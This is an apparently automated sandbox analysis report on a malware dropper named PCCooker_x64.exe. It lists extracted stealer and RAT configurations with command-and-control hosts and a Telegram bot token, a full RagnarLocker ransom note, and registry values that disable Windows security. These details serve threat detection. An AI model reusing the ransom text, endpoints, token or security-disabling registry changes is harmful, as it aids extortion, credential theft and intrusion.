gurcu | d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22-09-2024 15:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

PCCooker_x64.exe
Size

22.4MB
MD5

317c5fe16b5314d1921930e300d9ea39
SHA1

65eb02c735bbbf1faf212662539fbf88a00a271f
SHA256

d850d741582546a3d0ea2ad5d25e0766781f315cd37e6c58f7262df571cd0c40
SHA512

31751379ad7f6c55d87e9a5c1f56e6211d515b7d9ae055af962ed6f9205f5abad302c2e47dd56325abff85327ec3b7f9a6cf76ed34b8cbe1da06549c622c7031
SSDEEP

49152:yIT4lj7Rl9HFoDi+3JK5CS2bV5IRtyrp63FDysl28Wvp/pUOmrscrdXuMIgqJ95+:yI6

Malware Config

Extracted

Family

marsstealer

Botnet

Default

kenesrakishev.net/wp-admin/admin-ajax.php

Extracted

Path

C:\Users\Public\Documents\RGNR_7AAB8A15.txt

Ransom Note

Hello VGCARGO ! ***************************************************************************************************************** If you reading this message, then your network was PENETRATED and all of your files and data has been ENCRYPTED by RAGNAR_LOCKER ! ***************************************************************************************************************** *********What happens with your system ?************ Your network was penetrated, all your files and backups was locked! So from now there is NO ONE CAN HELP YOU to get your files back, EXCEPT US. You can google it, there is no CHANCES to decrypt data without our SECRET KEY. But don't worry ! Your files are NOT DAMAGED or LOST, they are just MODIFIED. You can get it BACK as soon as you PAY. We are looking only for MONEY, so there is no interest for us to steel or delete your information, it's just a BUSINESS $-) HOWEVER you can damage your DATA by yourself if you try to DECRYPT by any other software, without OUR SPECIFIC ENCRYPTION KEY !!! Also, all of your sensitive and private information were gathered and if you decide NOT to pay, we will upload it for public view ! **** ***********How to get back your files ?****** To decrypt all your files and data you have to pay for the encryption KEY : BTC wallet for payment: 1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4 Amount to pay (in Bitcoin): 25 **** ***********How much time you have to pay?********** * You should get in contact with us within 2 days after you noticed the encryption to get a better price. * The price would be increased by 100% (double price) after 14 Days if there is no contact made. * The key would be completely erased in 21 day if there is no contact made or no deal made. Some sensetive information stolen from the file servers would be uploaded in public or to re-seller. **** ***********What if files can't be restored ?****** To prove that we really can decrypt your data, we will decrypt one of your locked files ! Just send it to us and you will get it back FOR FREE. The price for the decryptor is based on the network size, number of employees, annual revenue. Please feel free to contact us for amount of BTC that should be paid. **** ! IF you don't know how to get bitcoins, we will give you advise how to exchange the money. !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ! HERE IS THE SIMPLE MANUAL HOW TO GET CONTCAT WITH US ! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 1) Go to the official website of TOX messenger ( https://tox.chat/download.html ) 2) Download and install qTOX on your PC, choose the platform ( Windows, OS X, Linux, etc. ) 3) Open messenger, click "New Profile" and create profile. 4) Click "Add friends" button and search our contact 7D509C5BB14B1B8CB0A3338EEA9707AD31075868CB9515B17C4C0EC6A0CCCA750CA81606900D 5) For identification, send to our support data from ---RAGNAR SECRET--- IMPORTANT ! IF for some reasons you CAN'T CONTACT us in qTOX, here is our reserve mailbox ( [email protected] ) send a message with a data from ---RAGNAR SECRET--- WARNING! -Do not try to decrypt files with any third-party software (it will be damaged permanently) -Do not reinstall your OS, this can lead to complete data loss and files cannot be decrypted. NEVER! -Your SECRET KEY for decryption is on our server, but it will not be stored forever. DO NOT WASTE TIME ! *********************************************************************************** ---RAGNAR SECRET--- QWZjY0QxRTk2MWU4RTIwYkVCRUNhRWMzRjhCQTdlZDJkNUJCN2JkNDdDMzREMTYyNjNGNTdiZGFDYmI3ZEVhNw== ---RAGNAR SECRET--- ***********************************************************************************

Emails

[email protected]

Wallets

1BKK8bsFfG3YxTd3N15GxaYfHopoThXoY4

URLs

https://tox.chat/download.html

Extracted

Family

xworm

Version

5.0

outside-sand.gl.at.ply.gg:31300

Mutex

uGoUQjcjqoZsiRJZ

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Extracted

Family

xworm

91.92.240.41:7000

Attributes

Install_directory
%ProgramData%
install_file
voldec.exe

Extracted

Family

stealc

Botnet

QLL

http://85.28.47.70

Attributes

url_path
/744f169d372be841.php

Extracted

Family

stealc

Botnet

kora

http://185.215.113.100

Attributes

url_path
/e2b1563c6670f193.php

Extracted

Family

stealc

Botnet

default

http://45.152.113.10

Attributes

url_path
/92335b4816f77e90.php

Extracted

Family

redline

Botnet

LogsDiller Cloud (TG: @logsdillabot)

193.233.255.84:4284

Extracted

Family

stealc

Botnet

penis

http://185.196.9.140

Attributes

url_path
/c3f845711fab35f8.php

Extracted

Family

lumma

https://deallerospfosu.shop/api

Extracted

Family

gurcu

https://api.telegram.org/bot962023231:AAG4by19NbHDMl2hPuMLesCOvrR264-4hSg/sendMessag

Signatures

Detect Xworm Payload 51 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\25.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\24.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\23.exe	family_xworm
behavioral2/memory/1592-1471-0x0000000000D20000-0x0000000000D30000-memory.dmp	family_xworm
behavioral2/memory/1600-1509-0x00000000006A0000-0x00000000006B0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\22.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\21.exe	family_xworm
behavioral2/memory/3508-1570-0x0000000000C60000-0x0000000000C70000-memory.dmp	family_xworm
behavioral2/memory/4728-1575-0x0000000000600000-0x0000000000610000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\20.exe	family_xworm
behavioral2/memory/2696-1643-0x0000000000A50000-0x0000000000A60000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\19.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\17.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\15.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\16.exe	family_xworm
behavioral2/memory/3484-1967-0x0000000000E20000-0x0000000000E30000-memory.dmp	family_xworm
behavioral2/memory/4960-1987-0x0000000000DA0000-0x0000000000DB0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\11.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\12.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\13.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\14.exe	family_xworm
behavioral2/memory/1504-1966-0x0000000000B90000-0x0000000000BA0000-memory.dmp	family_xworm
behavioral2/memory/2484-2056-0x00000000002D0000-0x00000000002E0000-memory.dmp	family_xworm
behavioral2/memory/5048-2055-0x0000000000900000-0x0000000000910000-memory.dmp	family_xworm
behavioral2/memory/964-2042-0x0000000000B00000-0x0000000000B10000-memory.dmp	family_xworm
behavioral2/memory/2412-1848-0x00000000008D0000-0x00000000008E0000-memory.dmp	family_xworm
behavioral2/memory/300-1762-0x0000000000590000-0x00000000005A0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\10.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\9.exe	family_xworm
behavioral2/memory/5008-2092-0x0000000000560000-0x0000000000570000-memory.dmp	family_xworm
behavioral2/memory/3280-2087-0x0000000000FE0000-0x0000000000FF0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\18.exe	family_xworm
behavioral2/memory/3044-1644-0x0000000000610000-0x0000000000620000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\8.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\7.exe	family_xworm
behavioral2/memory/3224-2174-0x0000000000CE0000-0x0000000000CF0000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\6.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\5.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\4.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\2.exe	family_xworm
behavioral2/memory/2700-2418-0x0000000000370000-0x0000000000380000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\3.exe	family_xworm
C:\Users\Admin\AppData\Local\Temp\1.exe	family_xworm
behavioral2/memory/4528-2465-0x0000000000480000-0x0000000000490000-memory.dmp	family_xworm
behavioral2/memory/3600-2489-0x0000000000C50000-0x0000000000C60000-memory.dmp	family_xworm
behavioral2/memory/3176-2417-0x00000000004D0000-0x00000000004E0000-memory.dmp	family_xworm
behavioral2/memory/284-2351-0x00000000003C0000-0x00000000003D0000-memory.dmp	family_xworm
behavioral2/memory/1872-2381-0x0000000000660000-0x0000000000670000-memory.dmp	family_xworm
behavioral2/memory/1636-2553-0x0000000000360000-0x0000000000370000-memory.dmp	family_xworm
behavioral2/memory/456-2181-0x00000000000F0000-0x0000000000100000-memory.dmp	family_xworm
behavioral2/memory/8572-19841-0x0000000000400000-0x000000000041A000-memory.dmp	family_xworm

Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
stealer gurcu
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Mars Stealer
An infostealer written in C++ based on other infostealers.
stealer marsstealer

Modifies security service 2 TTPs 3 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

Processes:

sysmablsvr.exesysarddrvs.exesysklnorbcv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysklnorbcv.exe

Phorphiex payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\tt.exe	family_phorphiex
C:\Users\Admin\AppData\Local\Temp\Files\1.exe	family_phorphiex
C:\Windows\sysklnorbcv.exe	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
RagnarLocker
Ransomware first seen at the end of 2019, which has been used in targetted attacks against multiple companies.
ransomware ragnarlocker
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/8092-30234-0x0000000000400000-0x0000000000452000-memory.dmp	family_redline
behavioral2/memory/8684-30290-0x0000000004970000-0x00000000049CA000-memory.dmp	family_redline
behavioral2/memory/8684-30291-0x00000000049E0000-0x0000000004A36000-memory.dmp	family_redline

SquirrelWaffle is a simple downloader written in C++.
SquirrelWaffle.
downloader squirrelwaffle
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Windows security bypass 2 TTPs 18 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysmablsvr.exesysarddrvs.exesysklnorbcv.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysmablsvr.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysarddrvs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysklnorbcv.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (7681) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Squirrelwaffle payload 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\d6caf64597bd5e0803f7d0034e73195e83dae370450a2e890b82f77856830167.exe	squirrelwaffle

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
9788	powershell.exe
212	powershell.exe
9476	powershell.exe
10144	powershell.exe
7828	powershell.exe
6708	powershell.exe
8904	powershell.exe
9996	powershell.exe
5996	powershell.exe
7108	powershell.exe
9912	powershell.exe
9268	powershell.exe
2952	powershell.exe
8064	powershell.exe
8420	powershell.exe
5492	powershell.exe
6664	powershell.exe
7224	powershell.exe
9360	powershell.exe
9692	powershell.exe
3744	powershell.exe
7456	powershell.exe
8776	powershell.exe
9028	powershell.exe
9528	powershell.exe
6796	powershell.exe
10216	powershell.exe
3136	powershell.exe
4868	powershell.exe
7648	powershell.exe
7640	powershell.exe
7428	powershell.exe
6232	powershell.exe
8360	powershell.exe
6344	powershell.exe
1628	powershell.exe
10180	powershell.exe
404	powershell.exe
7592	powershell.exe
8348	powershell.exe
5756	powershell.exe
2792	powershell.exe
9956	powershell.exe
7196	powershell.exe
6260	powershell.exe
5732	powershell.exe
5276	powershell.exe
6168	powershell.exe
6996	powershell.exe
7152	powershell.exe
6404	powershell.exe
9624	powershell.exe
6280	powershell.exe
7376	powershell.exe
8700	powershell.exe
10104	powershell.exe
2092	powershell.exe
6636	powershell.exe
8520	powershell.exe
6364	powershell.exe
3744	powershell.exe
8668	powershell.exe
7512	powershell.exe
7348	powershell.exe

Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 33 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

25.exe13.exesysarddrvs.exeRegAsm.exePichon.exe66d0502b12496_MKna.exe14.exe15.exe1.exe18.exePCCooker_x64.exe17.exe4363463463464363463463463.exe20.exe11.exe19.exe24.exe16.exe9.exe10.exe12.exe2.exe5.exe22.exe6.exe8.exe21.exe3.exeBomb.exe23.exe7.exe4.exesysklnorbcv.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	25.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	13.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	sysarddrvs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Pichon.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	66d0502b12496_MKna.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	14.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	15.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	18.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	PCCooker_x64.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	17.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	20.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	11.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	19.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	24.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	16.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	10.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	12.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	22.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	21.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	Bomb.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	23.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4182098368-2521458979-3782681353-1000\Control Panel\International\Geo\Nation	sysklnorbcv.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Drops startup file 28 IoCs

Processes:

24.exe7.exe17.exe2.exe21.exe3.exe13.exe22.exe11.exe10.exe8.exe12.exe16.exe19.exe5.exe14.exe4.exe25.exeasena.exe9.exe1.exe15.exe18.exe20.exeexplorer.exe23.exe6.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	24.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	7.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	17.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	2.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	21.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	3.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	13.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	22.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	11.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	10.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	12.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	16.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	19.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	5.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	14.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	4.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	25.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\RGNR_7AAB8A15.txt	asena.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	9.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	1.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	15.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	18.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	20.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7b63d646.exe	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	25.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	23.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-system32.lnk	6.exe

Executes dropped EXE 64 IoCs

Processes:

4363463463464363463463463.exea76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exeasena.exeBomb.exeCryptoWall.exe25.exe24.exe23.exe22.exe21.exe20.exe19.exe18.exe17.exe15.exe16.exe14.exe13.exe12.exe11.exe10.exe9.exe8.exe7.exe6.exe5.exe4.exe3.exe2.exe1.execudo.exett.exe4434.exeulMkXbGa.exepeinf.exesysmablsvr.exe1.exe76.exesysarddrvs.exerandom.exePichon.exepp.exe23c2343.exe66e1db883af59_def.exet.exenpp.exe90345194.exesysklnorbcv.execab.execab.exesvcsysChannel1.exesvhosts.exe251451918.exe66d0502b12496_MKna.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe

pid	process
3088	4363463463464363463463463.exe
3300	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
412	asena.exe
2896	Bomb.exe
4248	CryptoWall.exe
1592	25.exe
1600	24.exe
3508	23.exe
4728	22.exe
2696	21.exe
3044	20.exe
300	19.exe
2412	18.exe
3484	17.exe
4960	15.exe
1504	16.exe
964	14.exe
2484	13.exe
5048	12.exe
3280	11.exe
5008	10.exe
3224	9.exe
456	8.exe
1872	7.exe
284	6.exe
2700	5.exe
3176	4.exe
4528	3.exe
3600	2.exe
1636	1.exe
6724	cudo.exe
8188	tt.exe
7580	4434.exe
9168	ulMkXbGa.exe
3580	peinf.exe
6256	sysmablsvr.exe
592	1.exe
8780	76.exe
8628	sysarddrvs.exe
7536	random.exe
5668	Pichon.exe
4964	pp.exe
9092	23c2343.exe
9400	66e1db883af59_def.exe
5868	t.exe
6908	npp.exe
9740	90345194.exe
912	sysklnorbcv.exe
10100	cab.exe
9184	cab.exe
7296	svcsys
8504	Channel1.exe
7796	svhosts.exe
9760	251451918.exe
8916	66d0502b12496_MKna.exe
3912	7z.exe
316	7z.exe
8480	7z.exe
7336	7z.exe
2932	7z.exe
4384	7z.exe
7872	7z.exe
2468	7z.exe
7072	7z.exe

Loads dropped DLL 11 IoCs

Processes:

cudo.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe7z.exe

pid process

6724 cudo.exe
3912 7z.exe
316 7z.exe
8480 7z.exe
7336 7z.exe
2932 7z.exe
4384 7z.exe
7872 7z.exe
2468 7z.exe
7072 7z.exe
1036 7z.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
6724	cudo.exe
3912	7z.exe
316	7z.exe
8480	7z.exe
7336	7z.exe
2932	7z.exe
4384	7z.exe
7872	7z.exe
2468	7z.exe
7072	7z.exe
1036	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\cab.exe	upx
behavioral2/memory/10100-30060-0x0000000000500000-0x0000000000F59000-memory.dmp	upx
behavioral2/memory/10100-30064-0x0000000000500000-0x0000000000F59000-memory.dmp	upx
behavioral2/memory/9184-30063-0x0000000000500000-0x0000000000F59000-memory.dmp	upx
behavioral2/memory/9184-30087-0x0000000000500000-0x0000000000F59000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\Files\1188%E7%83%88%E7%84%B0.exe	upx
behavioral2/memory/10216-30271-0x0000000000400000-0x0000000000516000-memory.dmp	upx

Windows security modification 2 TTPs 21 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

sysklnorbcv.exesysmablsvr.exesysarddrvs.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysklnorbcv.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysmablsvr.exe
